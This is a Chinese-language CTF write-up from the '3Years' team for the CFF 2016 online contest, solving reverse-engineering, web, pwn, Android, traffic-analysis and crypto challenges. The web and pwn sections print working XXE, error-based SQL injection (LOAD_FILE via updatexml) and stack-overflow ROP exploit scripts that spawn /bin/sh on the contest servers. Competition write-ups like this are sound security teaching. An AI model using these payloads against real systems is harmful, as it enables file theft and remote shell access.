3Years团队CFF线上赛writeup

请输入图片描述

3Years Team由来自各个院校的信息安全爱好者自发组建而成。初创时只有五人的小队,现已经成为有着二十余位活跃成员的团队。这其中有Web大牛,有逆向达人,也有负责卖萌倒水的逗比,他们因为同样的爱好聚在了一起,虽然其中一些人才刚刚爱上信息安全,也有很多人加入这个团队,但作为一个富有朝气的团队,磨合期的他们都尽己所能,将team work精神发挥到极致。

逆向工程

一:软件密码破解_1

MFC程序。判断函数在401BB0
请输入图片描述
输入会和 28 57 64 6B 93 8F 65 51 E3 53 E4 4E 1A FF 异或,然后对比。
直接异或回去即可。

二:软件密码破解_2

程序会调用WriteProcessMemory写自己。直接把写入的值保存,用ida打开。
请输入图片描述
输入的值会和elcome to CFF te异或。
然后结果在这里。
请输入图片描述
异或回去就ok。

三:软件密码破解_3

MFC程序,当输入16位大写MD5的时候,会激活确定按钮。
这个时候会将你输入的转化成8字节的数据,比如输入0123456789ABCDEF
内存中就是 0x01 0x23 0x45 0x67 0x89 0xAB 0xCD 0xEF
然后进入主判断函数 401B80
请输入图片描述
那个401970是加密函数,使用一个固定的256位的表把输入的8位进行单表替换64*4=256次。
加密后结果需要满足上面那个方程。。。。
于是解方程。
解是 0x77,0x33, 0x31, 0x6C, 0x64, 0x30, 0x6E, 0x65
写程序获得flag

#include <windows.h>
#include <stdio.h>
int table[256] = {
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 };

unsigned __int8 index(int in)
{
    for (int i = 0; i < 256;i++)
    {
        if (in==table[i])
        {
            return i;
        }
    }
    return 256;
}
void main()
{

signed int v0; // esi@1
unsigned __int8 v1; // bl@2
unsigned __int8 v2; // cl@2
unsigned __int8 v3; // al@2
unsigned __int8 v4; // cl@2
unsigned __int8 v5; // al@2
unsigned __int8 v6; // dl@2
unsigned __int8 v7; // bl@2
unsigned __int8 v8; // cl@2
unsigned __int8 v9; // al@2
unsigned __int8 v10; // dl@2
unsigned __int8 v11; // bl@2
unsigned __int8 v12; // cl@2
unsigned __int8 v13; // al@2
unsigned __int8 v14; // dl@2
char v15; // bl@2
int v16; // edi@2
char v17; // cl@2
char v18; // dl@2
unsigned __int8 v19; // dl@2
int result; // eax@2
unsigned __int8 v21; // cl@2
unsigned __int8 in[8] = { 0x77,0x33, 0x31, 0x6C, 0x64, 0x30, 0x6E, 0x65 };
for (int a = 0; a < 64;a++)
{
    for (int i = 0; i < 8;i++)
    {
        in[i] = index(index(index(index(in[i]))));
    }
}
for (int i = 0; i < 8;i++)
{
    printf("%x", in[i]);
}

}

四:文件数据修复

主加密函数在402570
其中可以看到最终加密的数据是循环异或的。
请输入图片描述
再看文件。
请输入图片描述
很明显的纵列递增。
但我们并不知道加密数据从何开始。
注意到数据中的0x619c
请输入图片描述
这是后面整个数据的长度,借此推测,正式加密数据从0x43 c9 。。。开始。
首先猜测后面规律递增数据都是0,那么很容易得出key是0x13,0x82,0xFE,0x47,0xe4,0xb9,0x8e,0xd8,0x68,0xfc,0xa1,0xd5,0x4a,0x4f,0x36,0x2
直接使用这个key解密得出一个doc文件,得到flag。
WEB安全

一:API调用

请选手访问 http://139.196.232.222:55000/ 通过某种奇怪的Web攻击技术获取/tmp/cff2016.txt 中的flag值。Flag为32位小写md5。

POST http://139.196.232.222:55000/api/v1.0/try HTTP/1.1
Host: 139.196.232.222:55000
Connection: keep-alive
Content-Length: 177
Origin: http://139.196.232.222:55000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36
Content-Type: application/xml

//这里原来是json,把他改成xml,让服务器能解析xml

Accept: */*
Referer: http://139.196.232.222:55000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

//提交XML表单

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///tmp/cff2016.txt" >]> 
//把文件读取到变量xxe
<root>  
<search>type sth!</search>
<value>&xxe;</value>
//调用变量
</root>

请输入图片描述

二:登陆错误

这题可以看到
请输入图片描述

发现图片是用base64编码表示的,看到这里结合url里的地址,访问了一下
image.3001.net/images/new/logo.png
发现可以访问,大概知道过程应该是下载这张图片,然后base64编码,再放出来。
比较典型的SSRF,尝试SSRF读文件。
用127.0.0.1来访问本地文件,发现不管输入的地址是什么,结果都没变化,然后本地测试了一下,发现。
访问127.0x0.0.1和127.0.0.1是一样的效果,测试,终于出现变化了。

请输入图片描述
重定向到这里:

http://139.196.232.222/login/127.admin.hackshow.com.1

然后我又试了一下 发现只输入 0x0.0 就能弹,此时url是
http://139.196.232.222/login/admin.hackshow.com
访问http://139.196.232.222:56000/login/
发现 403 然后后面随便加个字符就出现一句话

http://139.196.232.222:56000/login/1

Login Fail. Username or password incorrect!

然后日了狗了。。哪里来的用户名和密码。。

别问我为什么,然后我就这样了
admin@123456:admin.hackshow.com
丧心病狂
请输入图片描述
看一下,显示

WAF Denial!

然后我就去考六级了。听听力一直在写,什么鸡毛鬼啊,卧槽。
就这样,我六级估计是跪了。
然后回来。

请输入图片描述
What the fuck ?

谁能告诉我为什么?

求大牛解释。。。

三:典型攻击

这题相对别的几道web题真的是最良心的一题了.......
请输入图片描述

输入一个数字,然后点击就加一。。当时在比赛,好多人在玩。。所以有时候一下数字就会变好多,猜测存在一个插入语句。

各种尝试,发现/x27报错

请输入图片描述

然后想到wooyun一篇drops 利用insert报错来注入。

于是构造payload

http://139.196.232.222:57000/inject.php?exp=1\x27OR\x20updatexml(1,concat(0x7e,(\x20SELECT\x20substr(\x20LOAD_FILE(0x2f746d702f636666323031362e747874),1,40))),0)\x20OR\x27

之后得到了

XPATH syntax error: '~{FLAG:c9477f3d7ddc312bec8097213'

发现不全。。因为LOAD_FILE报错一次最多出32位数据。。所以用substr指定一下开始的位置。。爆出后面25位。。

XPATH syntax error: '~77f3d7ddc312bec80972132181b41} '

结合一下,得到flag

{FLAG:c9477f3d7ddc312bec80972132181b41}

漏洞挖掘

一:总是lose的程序

首先,必须要吐槽一下这次主办方。
Pwn题目一开始上的是root权限。。。root啊。。。
另外,所有pwn都没有setbuf,导致。。。输出缓冲啊。。。
完全没有leak可用。。。
吐槽完毕。
这题极其明显的栈溢出。
直接跳win函数就好。

from pwn import *
debug=0
if debug:
    p=process('./100')
    gdb.attach(p)
else:
    p=remote('139.196.232.222',54000)
p.sendline('a'*64+p32(0x804861B))
p.interactive()

请输入图片描述

二:突破逻辑

还是极其明显的栈溢出。
坑在于。。。有输出缓存,不能leak。
还好直接给了system,于是rop写/bin/sh 然后直接system之

from pwn import *
p=remote('139.196.232.222',53000)
p.sendline('a'*23+p32(0x080484A0)+p32(0x080483f2)+p32(0x8048817)+p32(0x804A038)+'aaaa'+p32(0x8048440)+p32(0x8048677)+p32(0x804A038))
p.sendline('/bin/sh\x00')
p.interactive()

三:文件格式

此题一开始没看懂,后面发现和wav根本没有关系。。。
这边有个select_dsd,该函数中有个奇怪的东西。
请输入图片描述
还有个奇怪的get_sth 函数。
直接gdb运行这个函数,输出一句话让我们提交文件到一个网址。
再看看flag文件。
请输入图片描述
果然。把89改成88,提交网址得到flag。。。

移动安全

一:APK_100

此题刚想调试的时候,人品出现了。
随机数0,有没有!!
(也许是AVD卡了。。)
请输入图片描述
。。没办法,人品就是这么6

非人品方法:

请输入图片描述
看了下java代码,没啥东西,flag肯定在so里面。。。

请输入图片描述
Ida打开 ,jni_onload函数,一个if分支,正确则输出65540,这就是flag,MD5后提交。

协议分析

吐槽:这部分题目都可以扔notepad+里搜到flag……

一:简单网管协议

看到题目,我首先想到了网络管理协议(SNMP),于是过滤了下snmp数据包。搜索后拿到了第一个签到flag。
请输入图片描述

flag{077149a68b9d4f25f52bb11530f44028}

二:远程登录协议

“远程登录”开始的时候让我想到了SSH数据包分析,过滤后发现ssh包里面并没有flag,然后思考了下telnet,于是把telnet包全部过滤了一下,然后用搜索了一下flag。很神奇的事发生了我居然搜到四个flag,挨个尝试下提交吧,果然里面有一个真flag存在。

请输入图片描述

请输入图片描述

请输入图片描述

请输入图片描述

各个FLAG都尝试提交后获得真FLAG。

三:WEBSHELL分析

Webshell分析
拿到题目首先思路,首先试试搜索flag,在搜索过程中发现一个POST包里存在一个base64加密。

拿去base64解密得到了一个网站
请输入图片描述

http://cff2016.oss-cn-shanghai.aliyuncs.com/AbTzA2YteFjGhPWCftraouVD3B684a9A.jpg

打开之后是一个二维码,这时候就要掏出我的爪机扫一扫了。
扫描二维码获得FLAG。

四:struts2漏洞

搜索大法好,做题之前先搜索一波,老方法直接搜索flag。这题做出来主要靠运气,在搜索到第二个md5时,就拿到了正确的flag。
请输入图片描述

密码分析

一:莫尔斯电码字符串

直接转换获得FLAG。

二:德军的密码
只有0和1,二进制密码中的费娜姆密码。转换后的字符串就是FLAG。

三:好多盐
下载后获得66组md5+8个数字字母组成的文件,题目名字提到了盐,那么8位数字字母显然是md5的salt部分。
接下来是个很蛋疼的脑洞坑,题目给出固定格式 {FLAG:数字}。
这里需要注意的是,生成md5用的格式应为 {FLAG:数字}salt。
已经知道是6-10位数字,FLAG又是10位以后,从0000000000开始生成碰撞吧。
碰撞结果为{FLAG:1234567890}满足文档中的salt-MD5。
然后FLAG字符串十位,提交1234567890,成功。
四:影之密码
有01248五种数字,已知FLAG为8位,又发现有7个0,猜测0是间隔符号。
分离出的数字长度不同,1248都是2的倍数,想到2的0123次方,发现脑洞错误。
在德军密码题出来后,搜索德军密码使用的费娜姆密码时发现一种密码—云影密码。与影之密码完全符合。
将分组后的数字求和,转化得到FLAG。